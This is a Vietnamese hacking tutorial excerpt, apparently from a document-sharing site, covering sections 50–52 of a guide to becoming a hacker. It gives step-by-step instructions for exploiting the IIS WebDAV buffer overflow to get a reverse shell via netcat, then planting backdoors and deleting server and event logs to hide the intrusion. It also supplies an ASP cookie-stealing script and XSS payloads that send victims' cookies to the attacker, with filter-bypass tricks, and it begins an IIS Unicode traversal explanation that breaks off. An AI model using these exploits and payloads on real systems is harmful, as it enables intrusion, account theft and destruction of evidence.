Tải bản đầy đủ (.doc) (8 trang)

Những hiểu biêt cơ bản nhất để trở thành hacker 1

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (74.95 KB, 8 trang )

Những hiểu biết cơ bản nhất để trở thành Hacker
trang này đã được đọc lần
50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :
Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một
tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên
tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một
thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm
quyền điều khiển máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm
www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng
nghe> [padding=1,2,3...]
VD :
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để
tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :


C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32> <-- OK đã thành công rùi.
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên
server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /
v LogFileDirectory ! REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các
lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Nó sẽ cho kết quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa
bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat

Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn
đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các
bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các
bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :
Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi
này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin
quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó
sau đó thông tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như
brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang Web bị lỗi :

+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages ,
Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà
người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập
thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì
cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS
Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :
<script>alert('abc')</script>
vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này
100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS
nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi
view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này :
, nghĩa là ta có thể chèn code ngay trên thanh
ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn
sẽ hiểu được khi nào bị lỗi .
Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :

địa chỉ trang Web ta vừa up
file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?
cookie="+document.cookie)</script>
...
</HTML>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho
bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta
phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD :
* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
') + ') + '\x3cscript src= />cookie="+document.cookie\x3e\x3c/script\x3e'
Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .
+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT>
kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>

<img src="http://none" onerror="alert(abc was here);window.open(
"></script>
lúc này đoạn lọc code ban đầu trở thành :
<COMMENT>
<!--
- -->
</COMMENT>
<img src="h*tp://none" onerror="alert(abc was here);window.open(
">
</script>
</COMMENT>
và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :
Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và
làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác,
(đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không
may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong
bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:
/>Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai
cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index,
(index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:
C:\inetpub\wwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu
bạn gõ địa chỉ sau:
/>Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:\inetpub\wwwroot\index.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác
nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di

chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:
/>Chú thích Web server sẽ bắt đầu đi qua local của nó
c:\inetpub\wwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận
được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
/>Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm
server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file
mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :

×